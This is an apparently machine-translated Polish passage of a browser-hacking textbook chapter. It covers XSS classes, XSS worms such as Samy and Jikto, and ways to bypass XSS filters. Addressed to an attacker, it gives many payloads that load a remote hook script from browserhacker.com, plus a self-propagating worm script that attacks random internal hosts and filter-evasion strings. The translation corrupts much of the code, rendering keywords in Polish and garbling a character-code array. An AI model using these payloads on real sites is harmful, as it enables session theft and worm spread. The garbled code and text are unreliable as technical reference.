Inicjowanie kontroli

Pierwszym krokiem hakowania przeglądarki jest przechwycenie przeglądarki docelowej. To jest jak wstawianie stopy w drzwi wejściowe. Chociaż istnieje wiele innych działań, które musisz wykonać, zanim zrealizujesz cel końcowy, ten niezwykle ważny krok musi zostać podjęty w pierwszej kolejności za każdym razem. Jest to etap kontroli początkowej metod hakowania przeglądarki. Za każdym razem, gdy przeglądarka wykonuje kod z serwera sieciowego, otwiera drzwi do możliwości kontrolowania przechwytywania. Wykonując kod serwera WWW, przeglądarka rezygnuje z pewnego wpływu. Musisz stworzyć sytuacje, w których przeglądarka uruchomi utworzony przez Ciebie kod. Gdy to zrobisz, będziesz mógł zacząć przekręcać funkcjonalność przeglądarki w stosunku do siebie. Faza kontroli inicjującej może obejmować różne stopnie zaawansowania. Istnieje wiele sposobów wykonywania instrukcji; niektóre są dość trywialne, a inne wymagają znacznie więcej wysiłku. Najbardziej oczywistym sposobem na uzyskanie kontroli jest po prostu przeglądanie własnej aplikacji internetowej. Testerzy bezpieczeństwa aplikacji internetowych będą świadomi i pewni wielu technik omówionych tutaj.

Zrozumienie inicjowania kontroli

Twoim pierwszym wyzwaniem jest znalezienie sposobu na osiągnięcie pewnego stopnia wpływu na cel. Aby to zrobić, będziesz musiał w jakiś sposób wykonać swoje wstępne instrukcje. Dostanie kodu początkowego do przeglądarki docelowej jest sposobem na zainicjowanie kontroli i rozpoczęcie procesu hakowania przeglądarki. Ten kod ma wiele postaci. Na przykład JavaScript, HTML, CSS lub inna logika związana z przeglądarką może służyć jako narzędzie do inicjowania kontroli. Czasami ta logika może być nawet zawarta w pliku kodu bajtowego, takim jak złośliwy plik SWF (format Adobe Flash). Technika, dzięki której osiągniesz kontrolę nad celem, będzie w dużej mierze zależała od okoliczności otaczających atak. Jeśli korzystasz z zaatakowanej witryny, możesz pobierać dane z dysku. Jeśli jednak korzystasz z phishingu typu włócznia, najlepszym rozwiązaniem może być słabość skryptów krzyżowych (XSS), a jeśli siedzisz w kawiarni, atak sieciowy może być dobrym rozwiązaniem. Przeanalizujesz te formy ataku w nadchodzących sekcjach. Tu dotkniesz terminu hooking. Podłączenie przeglądarki rozpoczyna się od wykonania początkowego kodu, a następnie obejmuje zachowanie kanału komunikacyjnego (który omówimy w następnym rozdziale). Oczywiście najpierw musisz przekazać cenne instrukcje do docelowej przeglądarki, więc zacznijmy od tego.

Techniki inicjowania kontroli

Masz niezliczoną ilość sposobów na przejęcie kontroli nad docelowymi przeglądarkami. Wynika to z gwałtownego rozwoju Internetu, złożoności współczesnych przeglądarek, liczby dynamicznie wykonywanych języków oraz mylących modeli zaufania. Pozostała część tego rozdziału omawia różne metody inicjowania kontroli, ale nie należy ich uważać za wyczerpujący zestaw. Szybko zmieniająca się strona przeglądarki prawdopodobnie nadal będzie oferować różne opcje.

Korzystanie z ataków skryptów krzyżowych

Przed wprowadzeniem JavaScript w Netscape Navigator w 1995 r. treści internetowe były w większości dostarczane statycznie przez HTML. Jeśli witryna chce zmienić dowolną treść, użytkownik zazwyczaj musi kliknąć link, który następnie zainicjuje całkowicie nowy proces żądania / odpowiedzi HTTP. Błagał o jakiś dynamiczny język. Potem oczywiście przyszedł JavaScript. Wkrótce po wprowadzeniu dynamicznego języka do przeglądarek internetowych zgłoszono pierwsze znane przypadki wstrzykiwania złośliwego kodu. Jednym z pierwszych zgłoszonych przypadków było Centrum Koordynacji Zespołu Reagowania Komputerowego Uniwersytetu Carnegie Mellon, znane również jako CERT / CC, w lutym 2000 r. Doradca CERT CA-2000-022 opisał przypadkowe włączenie szkodliwych

tagów HTML lub skryptów oraz sposób, w jaki mogą one wpłynąć na użytkowników poprzez wykonanie złośliwego kodu. Początkowe przykłady złośliwych działań obejmowały:

■ Zatrucie ciasteczek

■ Ujawnianie poufnych informacji

■ Naruszenie zasad bezpieczeństwa opartych na pochodzeniu

■ Zmiana formularzy internetowych

■ Ujawnianie treści zaszyfrowanych za pomocą SSL

Chociaż wstępne poradnik opisywał atak jako „cross-site" scripting dopiero mimochodem, w końcu był znany jako Cross-site Scripting lub CSS. Aby zmniejszyć zamieszanie związane z Kaskadowymi Arkuszami Stylów, branża bezpieczeństwa nazywała go również XSS.3 Z czasem skrypt Cross-site Scripting lub XSS okazał się szczególnie rozpowszechnionym atakiem z powodu luk w zabezpieczeniach kodu witryny. Ogólnie mówiąc, XSS występuje, gdy niezaufana treść jest przetwarzana, a następnie zaufana do renderowania przez przeglądarkę. Jeśli ta zawartość zawiera HTML, JavaScript, VBScript lub inną dynamiczną treść, przeglądarka potencjalnie wykona niezaufany kod. Przykładem może być błąd XSS w sklepie Google App Store - osoba atakująca może wtedy nakłonić użytkownika do zainstalowania złośliwego rozszerzenia Chrome. To faktycznie miało miejsce, co wykazał Jon Oberheide w 2011 roku. Oberheide zademonstrował wykorzystanie błędu XSS w Android Web Market, jak było wówczas znane. Exploit po uruchomieniu przez ofiarę instaluje na swoim urządzeniu dowolne aplikacje z dowolnymi uprawnieniami. Istnieją różne klasyfikacje XSS, ale ogólnie rzecz biorąc, wpływają one na obie strony relacji przeglądarka / serwer. Tradycyjny XSS Reflected i Trwały XSS wiąże się z wadami implementacji po stronie serwera, natomiast DOM XSS i Universal XSS wykorzystują luki po stronie klienta. Oczywiście możesz nawet wyobrazić sobie hybrydę, w której częściowa wada istnieje u klienta, a inna wada w serwerze. Indywidualnie mogą nie stanowić problemu bezpieczeństwa, ale razem tworzą lukę w zabezpieczeniach XSS. Podobnie jak wiele innych obszarów bezpieczeństwa, prawdopodobnie raczej szare granice zmieniają się w miarę odkrywania kolejnych metod ataku. Jednak ze względu na zalety historyczne i edukacyjne w całej książce będą stosowane następujące tradycyjne szerokie klasyfikacje XSS.

Odzwierciedlenie skryptów między witrynami

Odzwierciedlone wady XSS są prawdopodobnie najczęstszą odkrytą formą XSS. Odbity XSS występuje, gdy niezaufane dane użytkownika są przesyłane do aplikacji internetowej, która jest następnie natychmiast echo z powrotem w odpowiedzi, skutecznie odzwierciedlając niezaufaną treść na stronie. Przeglądarka widzi kod pochodzący z serwera internetowego, zakłada, że jest bezpieczny i wykonuje go. Podobnie jak większość wad XSS, Reflected XSS podlega regułom tej samej zasady pochodzenia. Ten typ podatności występuje w kodzie po stronie serwera. Przykład podatnego kodu JSP przedstawiono tutaj:

<% String userId = request.getParameter („użytkownik"); %>

Twój identyfikator użytkownika to <% = userId%>

Ten kod pobiera parametr zapytania użytkownika i powtarza jego treść bezpośrednio z powrotem w odpowiedzi. Nadużywanie tej wady może być tak proste, jak odwiedzanie strony

http://browservictim.com/userhome.jsp?user=<iframe%20src=http://browserhacker.com/>
</iframe>.

Po wyrenderowaniu obejmowałby ramkę IFrame do browserhacker.com na stronie. Nadużywanie tej samej wady w celu wprowadzenia zdalnego JavaScript w przeglądarce można wykonać, oszukując cel w celu odwiedzenia

http://browservictim.com/userhome.jsp?user=<script%20src=http://browserhacker.com/hook.js > </script>.

Gdy ten adres URL jest przetwarzany przez aplikację internetową, zwraca blok <script> z powrotem w kodzie HTML. Po otrzymaniu tego HTML przeglądarka widzi blok <script> i zawiera zdalny JavaScript, który następnie wykonuje się w kontekście podatnego na atak źródła.

Jak dowiesz się w dalszej części, skuteczne wykorzystanie tych słabości aplikacji internetowych może wymagać pewnego stopnia inżynierii społecznej. Na przykład może być konieczne podanie skróconego lub zaciemnionego adresu URL lub zastosowanie innych metod w celu nakłonienia użytkownika do odwiedzenia spreparowanego adresu URL.

OBFUSKACJA URL

Oto sposoby zaciemnienia adresu URL:

■ Skracacze adresów URL

■ Przekierowujące adresy URL

■ Znaki zakodowane w adresach URL lub ASCII

■ Dodanie szeregu dodatkowych, nieistotnych parametrów zapytań ze szkodliwym ładunkiem w środku lub pod koniec

■ Używanie symbolu @ w adresie URL do dodawania fałszywej zawartości domeny

■ Konwersja nazwy hosta na liczbę całkowitą, na przykład http: // 3409677458

REAL-WORLD REFLECTED XSS

Było tak wiele rzeczywistych przykładów błędów Reflected XSS, że trudno jest wymienić tylko kilka, ale niektóre z bardziej znaczących przykładów obejmują:

■ Luka Ramneka Sidhu „Odbita luka XSS dotyczy milionów witryn hostowanych w HostMonster” (http://www.ehackingnews.com/2013/01/reflected-xss-hostmonster.html)

Platforma hostingowa HostMonster zawierała domyślną stronę błędu HTTP 404 dla wszystkich hostowanych witryn. Niestety, ta strona błędu zawierała funkcję wyświetlania reklam, którą następnie można było wykorzystać przez wadę XSS. Ten kod, który można wykorzystać, był następnie używany na każdej stronie hostowanej przez HostMonster.

■ Witryny XSSed „F-Secure, McAfee i Symantec ponownie XSSed”

(http://www.xssed.com/news/130/F-Secure _ McAfee _ i _Symantec _ strony internetowe _ ponownie _ XSSed /)

XSSed, popularna witryna służąca do zgłaszania wad XSS, opublikowała artykuł podkreślający proste luki w zabezpieczeniach Odbite XSS wykryte w witrynach popularnych dostawców zabezpieczeń. Tymi dostawcami byli F-Secure, McAfee i Symantec.

■„Ściana wstydu Michaela Suttona: Centrum wyników ESPN”

(http://research.zscaler.com/2013/01/mobile-app-wall-of-shameespn.html)

Błędy XSS niekoniecznie są ograniczone do standardu przeglądarki internetowej. Badacz ZScaler, Michael Sutton, odkrył błąd XSS w witrynie mobilnej, który został przede wszystkim renderowany w kontrolerze WebView w aplikacji na iPhone'a. Dość często twórcy aplikacji wykorzystują osadzone ramki internetowe w swoich aplikacjach do wyświetlania informacji. Niezależnie od tego, gdzie witryna została wyświetlona - w przeglądarce na komputerze lub w aplikacji na iPhone'a - nadal była podatna na wady XSS.

Przechowywane skrypty między witrynami

Przechowywane (lub trwałe) wady XSS są podobne do błędów XSS Odzwierciedlonych, z tym wyjątkiem, że XSS jest przechowywany w pamięci danych w aplikacji internetowej. Następnie wszyscy odwiedzający zainfekowaną witrynę po utrwaleniu skryptu wykonają złośliwy kod. Dla atakującego jest to bardziej atrakcyjna droga do nadużyć, ponieważ za każdym razem, gdy użytkownik przegląda stronę, której dotyczy problem, złośliwy kod będzie wykonywany niezależnie od spreparowanych linków lub inżynierii społecznej. Wewnętrzne bazy danych są zwykle mechanizmem przechowywania wykorzystywanym przez ten styl ataku, ale można również użyć plików dziennika. Wyobraź sobie scenariusz, w którym aplikacja rejestruje wszystkie żądania użytkowników bez odpowiedniego zapobiegania XSS, a mechanizm przeglądania tych dzienników odbywa się za pośrednictwem internetowego interfejsu GUI

Każdy, kto przegląda te dzienniki, może niechcący wyrenderować złośliwy kod i wykonać go w swojej przeglądarce. Ponadto, ponieważ funkcje te są zwykle udostępniane tylko administratorom, złośliwy kod może wykonywać wrażliwe lub krytyczne działania. Opierając się na przykładzie w sekcji Odbicie skryptu krzyżowego, załóż, że aplikacja przechowuje również nazwę wyświetlaną użytkownika. Na przykład:

```
<%

String userDisplayName = request.getParameter("userdisplayname");

String userSession = session.getAttribute('userid');

String dbQuery = "INSERT INTO users (userDisplayName) VALUES(?) WHERE

userId = ?";

PreparedStatement statement = connection.prepareStatement(dbQuery);

statement.setString(1, userDisplayName);

statement.setString(2, userSession);

statement.executeUpdate();

%>
```

Załóżmy teraz, że gdzieś w aplikacji jakiś kod wypakowuje najnowszą listę użytkowników:

```
<%

Statement statement = connection.createStatement();
```

ResultSet result =

statement.executeQuery("SELECT * FROM users LIMIT 10");

%>

The top 10 latest users to sign up:

<% while(result.next()) { %>

User: <%=result.getString("userDisplayName")%>

<% } %>

Nadużywanie tej luki (na przykład odwiedzając stronę http: // browservictim .com / newuser.jsp? Userdisplayname = <script% 20src = http: // browserhacker .com / hook.js> </script>) zapewnia teraz: atakujący z mnożnikiem siły. Zamiast nakłaniać jednego użytkownika do odwiedzenia strony internetowej ze spreparowanym ładunkiem XSS, wystarczy wykorzystać jedną stronę internetową, a każdy kolejny użytkownik uruchomi złośliwy kod JavaScript.

REAL-WORLD STORED XSS

Niektóre godne uwagi przykłady przechowywanego XSS w świecie rzeczywistym to:

■ Ben Hayak „Hakowanie poczty Google - XSS przechowywany w Gmailu - 2012!" (http: // benhayak.blogspot.co.uk/2012/06/google-mail-hackinggmail-przechowywane-xss.html) Hayak odkrył trwałą lukę XSS w Gmailu. Wada w tym przypadku polegała na nowej funkcji, którą Google dodał do Gmaila, aby zawierać informacje od znajomych z Google+. Jeśli umieścisz złośliwy kod JavaScript w elemencie swojego profilu Google+ (pod pewnymi warunkami), Twoi znajomi w Gmailu wykonają Twój kod.

■ „Kolejny stały XSS na eBayu" firmy XSSed (http://www.xssed.com/aktualności / 131 / Kolejny _ Ebay _ stały _ XSS /) eBay nie był pozbawiony uczciwego udziału w zagrożeniach sieciowych. Badacz bezpieczeństwa o nazwisku Shubham Upadhyay odkrył, że można dodać nową aukcję na eBayu, która zawiera dodatkową ładunek JavaScript. Oznaczało to, że każdy niczego niepodejrzewający gość na liście wykona JavaScript (Persistent XSS) w obrębie źródła https://ebay.com.

Skrypty krzyżowe DOM

Document Object Model (DOM) XSS jest formą XSS opartą wyłącznie na kliencie, która nie polega na niepewnej obsłudze danych dostarczanych przez użytkownika przez aplikację internetową. Różni się to zarówno od Odzwierciedlonego, jak i Przechowywanego XSS tym, że luka istnieje tylko w kodzie klienta, takim jak JavaScript. Rozważ ten scenariusz. Organizacja chce dołączyć parametr, aby ustawić wiadomość powitalną. Jednak zamiast dodawać tę funkcjonalność po stronie serwera, programiści implementują ją w kodzie wykonywanym na kliencie. Dynamicznie modyfikują stronę w oparciu o treść w adresie URL, używając kodu takiego jak:

document.write (document.location.href.substr (

document.location.href.search (

/#welcomemessage/i)+16,document.location.href.length))

Ten kod zbiera tekst z adresu URL po # welcomemessage = x, gdzie x oznacza dowolny znak (znaki), i zapisuje go w dokumencie bieżącej strony. Możesz zobaczyć, jak można tego użyć w przeglądarce,

badając następujący hipotetyczny adres URL:

http://browservictim.com/homepage.html#welcomemessage=Hiya,

który wyrenderowałby stronę i podczas tego procesu wstawił tekst „Hiya ”w treści po uruchomieniu JavaScript. Ten sam adres URL - ale ze złośliwym kodem - byłby

http://browservictim.com/homepage.html#welcomemessage=<script>document.location='http://
browserhacker.com '</script>.

Spowodowałoby to wstawienie JavaScript do DOM, co w takim przypadku przekierowałoby przeglądarkę na http://browserhacker.com. Ze względu na naturę po stronie klienta atak DOM XSS jest często niewidoczny dla serwerów WWW, jeśli jest odpowiednio wykonany. Za pomocą identyfikatora fragmentu (bajty po znaku #) można dodać dane do adresu URL, które nie zostaną (normalnie) wysłane z przeglądarki do aplikacji internetowej. Gdy ciąg ataku znajduje się w danych po znaku #, złośliwe dane nigdy nie opuszczają przeglądarki. Ma to wpływ na aplikacje, które polegają na zaporach ogniowych aplikacji internetowych jako kontroli prewencyjnej. W takich przypadkach złośliwa część żądania może nigdy nie zostać zauważona przez zaporę sieciową aplikacji. Innym przykładem podatnego kodu jest:

```
function getId(id){

console.log('id: ' + id);

}

var url = window.location.href;

var pos = url.indexOf("id=")+3;

var len = url.length;

var id = url.substring(pos,len);

eval('getId(' + id.toString() + ')');
```

Ten przepływ wykonania można wykorzystać, wstrzykując złośliwy kod do parametru id. W tym przykładzie chcesz wstrzyknąć instrukcje, które ładują i uruchamiają zdalny plik JavaScript. Następujący atak bezskutecznie spróbuje wykorzystać tę usterkę DOM XSS:

http://browservictim.com/page.html?id=1');s=document.createElement(script');s.src='http:/
/browserhacker.com/hook.js';document.getElementsByTagName('head')[0] .appendChild (s); //.

Jak zapewne się domyślacie, ten ładunek nie zostanie wykonany, ponieważ pojedyncze znaki cudzysłowu zatrzymają wywołanie eval w poprzedniej funkcji. Aby to obejść, ładunek można hermetyzować za pomocą metody String.fromCharCode () JavaScript.

Wynikowy adres URL tego ataku to:

http://browservictim.com/page.html?id=1');eval(String.fromCharCode(115,61
100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10
9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,
39,104,116,116,112,511.1 14,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1

09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,8
7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10
1,110,100,67,104,105,108,100,40,115,41,59)) /

W poprzednim przykładzie podkreślono interesujący problem z wykorzystaniem tego typu wad XSS. Exploit musi najpierw zostać dostarczony do niczego niepodejrzewającego celu bez uprzedzenia. W poprzednich przykładach użytkownik może zostać nakłoniony do odwiedzenia złośliwego adresu URL za pomocą dowolnej liczby środków, w tym wiadomości e - mail, aktualizacji statusu sieci społecznościowej lub wiadomości błyskawicznej. Często te adresy URL są pakowane przez usługę skracania adresów URL, taką jak http://bit.ly lub http://goo.gl, w celu zaciemnienia prawdziwej, złośliwej natury adresu URL.

REAL-WORLD DOM XSS

Niektóre godne uwagi przykłady XSS opartych na DOM:

■ „DOM XSS Stefano Di Paoli w Google Plus One Button" (http: //blog.mindedsecurity.com/2012/11/dom-xss-on-google-plusone-button.html) Stefano Di Paola odkrył lukę w udostępnianiu zasobów pochodzących z różnych źródeł (CORS) w JavaScript przycisku Google +1. Ta luka pozwoliłaby Ci wykonywać instrukcje pochodzące od Google.

■ „Yahoo Mail DOM-XSS" Shahina Ramezany'ego (http://abysssec.com/pliki / Yahoo! _ DOMSDAY.pdf) Niestety dla Yahoo, jedna z najczęściej używanych subdomen opartych na reklamach używała nieaktualnego JavaScript, który ujawniał wadę DOM XSS. Ten skrypt innej firmy został zaktualizowany w celu rozwiązania niezabezpieczonego wywołania funkcji eval (), ale w czasie badań Yahoo nadal używało podatnej wersji.

Uniwersalne skrypty między witrynami

Luka w zabezpieczeniach XSS po stronie klienta, znana jako Universal XSS, to inna metoda wykonywania złośliwego kodu JavaScript w przeglądarce. W niektórych przypadkach nie jest to nawet ograniczone przez SPO.

REAL-WORLD UNIVERSAL XSS

Ciekawy przykład Universal XSS w świecie rzeczywistym: w 2009 r. Roi Saltzman odkrył, w jaki sposób Internet Explorer był w stanie ładować dowolne identyfikatory URI za pomocą przeglądarki Chrome przy użyciu modułu obsługi adresów URL ChromeHTML.

var sneaky = „setTimeout („ alert (document.cookie); ", 4000);

document.location.assign („http://www.gmail.com"); ';

document.location =

„Chromehtml:" 80% 20javascript: document.write (sneaky) "";

To skutecznie pozwoliło atakującemu, przy odpowiednich warunkach, wykonać dowolny skrypt JavaScript przeciwko celowi niemal dowolnego źródła. Na przykład poprzedni JavaScript ustawiłby bieżącą lokalizację na ramkę Chrome, a limit czasu byłby wykonywany po załadowaniu Gmaila.

Ten atak zwykle przyspiesza łańcuch funkcjonalny i narusza wady w samej przeglądarce, jej rozszerzeniach lub wtyczkach.

Wirusy XSS

W 2005 r. Badania Wade Alcorn wykazały potencjał wirusopodobnej dystrybucji złośliwego kodu XSS. Ta autopropagacja kodu może nastąpić, jeśli zostaną spełnione pewne warunki między wrażliwą aplikacją internetową a przeglądarką. W badaniu omówiono scenariusz, w którym wykorzystywana jest

luka Stored XSS w celu spowodowania, aby kolejni odwiedzający (zainfekowane źródło) zrobili złośliwe oprogramowanie

JavaScript. W rezultacie przeglądarka celu próbowała wykorzystać exploit XSS wobec innych aplikacji internetowych. Ładunek XSS użyty w tym przykładzie to:

<iframe name = "iframex" id = "iframex" src = "hidden" style = "display: none">

</iframe>

<script SRC = "http://browserhacker.com/xssv.js"> </script>

Zawartość xssv.js to:

funkcja loadIframe (iframeName, url) {

if (window.frames [iframeName]) {

window.frames [iframeName] .location = url;

zwracać fałsz;

}

inaczej zwróć prawdę;

}

funkcja do_request () {

var ip = get_random_ip ();

var exploit_string = '<iframe name = "iframe2" id = "iframe2"' +

'src = "hidden" style = "display: none"> </iframe>' +

'<script src = "http://browserhacker.com/xssv.js"> </script>';

loadIframe („iframe2”,

„http: //” + ip + ”/index.php?param=” + exploit_string);

}

funkcja get_random ()

{

var ranNum = Math.round (Math.random () * 255);

return ranNum;

}

funkcja get_random_ip ()

{

zwraca „10.0.0.” + get_random ();

}

setInterval („do_request ()”, 10000);

W tym kodzie widać, że JavaScript wykonuje do_request (), który wysyła atak XSS do losowego hosta za pomocą metody loadIframe (), przy czym następny host jest losowo atakowany przez funkcje get_random_ip () i get_random (). Następnie ładunek XSS rozpoczyna rekurencyjną naturę ataku na każdą osobę, która następnie odwiedzi zmodyfikowaną stronę. Implikacje dla przeglądarek wynikające z tego automatycznego rozprzestrzeniania się złośliwego JavaScript są dość głębokie. W demonstracji Alcorna wykonanie nie zależy od interakcji użytkownika, oprócz odwiedzania strony w pierwszej kolejności. Przeglądarka dotkniętego problemem po prostu wykona polecenia i będzie kontynuować. Sam ładunek wykonał autop propagację, a następnie zakończył działanie. Jednak, jak dowiesz się w kolejnych rozdziałach, liczba złośliwych działań, które można wykonać z poziomu przeglądarki, jest niezliczona

Samy

Wkrótce hipotetyczny atak Alcorna stał się rzeczywistością dzięki Samy Kamkarowi i jego niesławnemu „Samy Worm”, który wpłynął na ponad milion profili MySpace. Wielu specjalistów ds. bezpieczeństwa uważa, że infekcja była najszybciej rozprzestrzeniającą się na wolności, a wszystkie miliony profili zostały dotknięte w ciągu pierwszych 24 godzin. Należy zauważyć, że porównanie tradycyjnej propagacji wirusów komputerowych z propagacją wirusów XSS nie jest sprawą czarno-białą. Jest to szczególnie ważne, ponieważ infekcja nie pozostawia konwencjonalnych plików wykonywalnych w przeglądarce ofiary. Samy Worm wykorzystał szereg technik w celu ominięcia kontroli zapobiegawczych MySpace. Na wysokim poziomie były to:

■ Wykonywanie początkowego JavaScript w parametrze tła div: url, który był specyficzny dla IE w wersji 5 i 6:

■ Pomijanie pojedynczych cudzysłowów i podwójnych cudzysłowów w JavaScript poprzez pozycjonowanie kodu w innym miejscu i uruchamianie instrukcji z atrybutu stylu:

<div

id = "mycode" expr = "alert ('hah!') '

style = "background: url ('javascript: eval (document.all.mycode.expr)')"

>

■ Pomijanie filtrowania słowa javascript przez wstawienie znaku nowej linii (\ n)

■ Wstawianie podwójnych cudzysłowów za pomocą metody String.fromCharCode()

■ Liczne inne czarne listy słów kluczowych omijają metodę eval():

eval ('xmlhttp.onread' + 'ystatechange = callback');

Jikto

W 2007 roku, zaledwie kilka lat po wstępnych badaniach propagacji XSS, Hoffman zademonstrował Jikto na ShmooCon. Jikto było narzędziem do zademonstrowania wpływu niedoskonałych błędów XSS oraz tego, co dzieje się, gdy wykonujesz kod kontrolowany przez osobę atakującą w przeglądarce.

Postępując w oparciu o metodologię z wcześniejszych badań i kodu XSS w zakresie autopropagacji, Jikto zostało zaprojektowane tak, aby uruchomić cichą pętlę JavaScript, która albo spróbowałaby się

propagować, podobnie jak Samy, lub sondowała centralny serwer w celu uzyskania dalszych poleceń. Chociaż kod został skonstruowany jako wewnętrzna demonstracja, wyciekł i powoli znalazł się w szerszym Internecie. Jednym z bardziej interesujących ulepszeń w Jikto było to, jak udało mu się ominąć SPO. Dokonano tego, ładując zarówno kod Jikto, jak i docelową treść źródłową do tego samego źródła przez serwer proxy (lub most krzyżowy). Początkowo Tłumacz Google został użyty do proxy oddzielnych żądań, ale Jikto można zmodyfikować tak, aby korzystał z innych stron również do proxy. Aby uzyskać kopię kodu Jikto, odwiedź https://browserhacker.com.

Konkurs na drobną replikację robaków XSS

Do 2008 r. koncepcje wirusów i robaków XSS zostały dobrze zrozumiane i omówione przez społeczność zajmującą się bezpieczeństwem. Odtąd była to tylko kwestia optymalizacji i znalezienia najbardziej efektywnego sposobu konstruowania tych samonastawnych ładunków. Jednym z takich przedsięwzięć był konkurs Roberta Hansena na zdrobnienie replikacji robaków XSS w roku 2008. Chodziło o to, aby zbudować, w jak najmniejszej liczbie bajtów, samoreplikujący się fragment kodu HTML lub JavaScript, który uruchamiałby standardowe okno dialogowe z ostrzeżeniem, replikując się poprzez żądanie POST. Giorgio Maone i Eduardo Vela zwyciężyli z bardzo podobnymi rozwiązaniami. Udało im się zbudować 161-bajtowy ładunek, który sam się replikuje do pliku PHP za pośrednictwem żądania POST. Po propagacji nie powiększył się, nie wymagał interakcji użytkownika, a nawet nie wykorzystał żadnych danych z pliku cookie:

```
<form>

<input name = "content">

<img src = ""

onerror = "with (parentNode)

alert („XSS”, prześlij (content.value = „<form>” +

innerHTML.slice (action = (method = 'post') +

„.php”, 155))) ”>

i

<form>

<INPUT name = "content">

<IMG src = "" onerror = "z (parentNode)

zgłoś (akcja = (metoda = „post”) +

'.php', content.value = '<form>' +

innerHTML.slice (alert ('XSS'), 155)) ">
```

Możesz wyraźnie zobaczyć, jak nadużywanie tego powszechnego błędu aplikacji internetowej może zostać wykorzystane do osadzenia tej początkowej złośliwej logiki. Chociaż dołożyliśmy wszelkich starań, aby podsumować XSS we wszystkich jego różnych postaciach, ważne jest, aby pamiętać, że podobnie jak większość luk w branży bezpieczeństwa w sieci, wciąż ewoluują one do dnia dzisiejszego. DOM i Universal XSS to doskonały przykład tych zjawisk jako późniejszy dodatek do klas XSS. Tymczasem, dzięki ciągłemu ulepszaniu funkcji Internetu, HTML i przeglądarki, jesteśmy przekonani, że XSS nadal będzie prawidłową metodą, dzięki której treść będzie działać w dziwny i cudowny sposób.

Ominięcie kontroli XSS

Poniższe sekcje zawierają wprowadzenie do omijania kontroli XSS. Później, w sekcji Wykrywanie uchybień, zapoznasz się z dalszymi technikami, które pomogą zaciemnić złośliwy kod. Większość poprzednich przykładów XSS zakładała, że jako atakujący nie napotkasz żadnych ograniczeń, po prostu przesyłając złośliwy kod JavaScript. W rzeczywistości często tak nie jest. Szereg przeszkód zwykle uniemożliwia wykonanie kodu atakującego w przeglądarce docelowej. Przeszkody te występują w wielu różnych formach. Obejmują one ograniczenia w kontekście wstrzykiwania, dziwactwa językowe między przeglądarkami, wbudowane zabezpieczenia przeglądarki, a nawet zabezpieczenia aplikacji internetowych. Nie zdziw się jeśli naprawdę potrzebujesz pracować dla swojego exploita XSS!

Ominięcie obrony XSS w przeglądarce

Oprócz potencjalnych problemów z uruchamianiem JavaScript, kolejną poważną barierą po stronie klienta są elementy sterujące XSS w nowoczesnych przeglądarkach. Te metody ochronne próbują zmniejszyć prawdopodobieństwo wykonania ładunku XSS w przeglądarce celu. Obrony obejmują Chrome i Safari XSS Auditor, filtr XSS przeglądarki Internet Explorer i rozszerzenie NoScript dostępne dla Firefoksa. Technikę obejścia filtra XSS, która polega na tym, jak dane wejściowe są mutowane przez optymalizacje przeglądarki, nazwano Skrypty krzyżowe (mXSS) . Ta metoda jest przydatna tylko wtedy, gdy przeglądarka zoptymalizuje spreparowane dane wejściowe. Oznacza to, że programista analizuje dane wejściowe za pomocą wewnętrznego HTML lub czegoś podobnego. Kluczową kwestią jest to, że dane wejściowe są zoptymalizowane w taki czy inny sposób. Poniższy kod pokazuje, jak działa mXSS:

// wejście atakującego do innerHTML

// dane wyjściowe przeglądarki

<IMG alt = `` onload = xss () src = "test.jpg">

W tym przykładzie pokazano, w jaki sposób można użyć znaku wstecznego (`), aby ominąć filtr XSS programu Internet Explorer. Wynikiem optymalizacji przeglądarki w tym przykładzie jest wykonywana wartość atrybutu onload.

Omijanie obrony serwera XSS

Filtrowanie XSS nie polega oczywiście na stronie klienta. W rzeczywistości filtrowanie od strony aplikacji WWW było standardową reakcją na te luki w zabezpieczeniach od czasu ich odkrycia. W najlepszych przypadkach zabezpieczenia XSS w aplikacji internetowej są implementowane zarówno jako filtrowanie wejściowe, jak i kodowanie wyjściowe. Przykładem obejścia był Microsoft .NET Framework. Dał programistom szereg metod zmniejszania prawdopodobieństwa parsowania szkodliwych ładunków przez serwer, w tym klasę RequestValidator. Wcześniejsze wersje nie były całkowicie skuteczne. Na przykład przesłanie jednego z następujących ładunków pomija filtr:

<~ / XSS / * - * / STYLE = xss: e / ** / xpression (alert (6))>

<% tag style = "xss: expression (alert (6))">

Oba te przykłady wykorzystały funkcję expression(), będącą częścią Dynamicznych właściwości Microsoft. Ta funkcjonalność została wprowadzona w celu zapewnienia dynamicznych właściwości w CSS. Oprócz naprawienia tych problemów u źródła dostawcy zabezpieczeń szybko udostępnili zautomatyzowane metody naprawy tych problemów poza samymi podatnymi aplikacjami. Są one widoczne przede wszystkim w urządzeniach takich jak zapory sieciowe aplikacji (WAF), a nawet w

filtrach programowych wykonujących to samo zadanie. We wszystkich przypadkach i kombinacjach technologii i procesu cel jest podobny do ich odpowiedników po stronie klienta. Oznacza to zmniejszenie prawdopodobieństwa wykorzystania luk w zabezpieczeniach sieci przez atakującego. Technologia była tak skuteczna, że wszyscy atakujący poszli do domu, a technologia WAF była postrzegana jako panaceum na wszystkie luki w sieci. I oczywiście Święty Mikołaj jest prawdziwy! Cóż, właściwie… gdy pojawiło się wyzwanie, hakerzy podeszli do tej okazji9. Podobnie jak ominięcie kontroli po stronie klienta, opracowano podobne funkcje i metody kontroli po stronie serwera. Powszechną techniką stosowaną przez technologię WAF (i pokrewną) do filtrowania szkodliwych ładunków było wykrywanie nawiasów kontekstowych lub podejrzanych. Technika Garetha Heyesa z 2012 roku jest doskonałym przykładem obejścia, który dołącza moduł obsługi błędów do obiektu DOM okna (bez nawiasów) i natychmiast go rzuca:

onerror = alert; rzut 1;

onerror = eval; throw '= alert \ x281 \ x29';

Żaden z tych przykładów nie zawiera podejrzanych nawiasów. Jednak aby działały, ich punkt wstrzyknięcia musi istnieć w atrybucie elementu HTML.

ARKUSZE CHEAT XSS

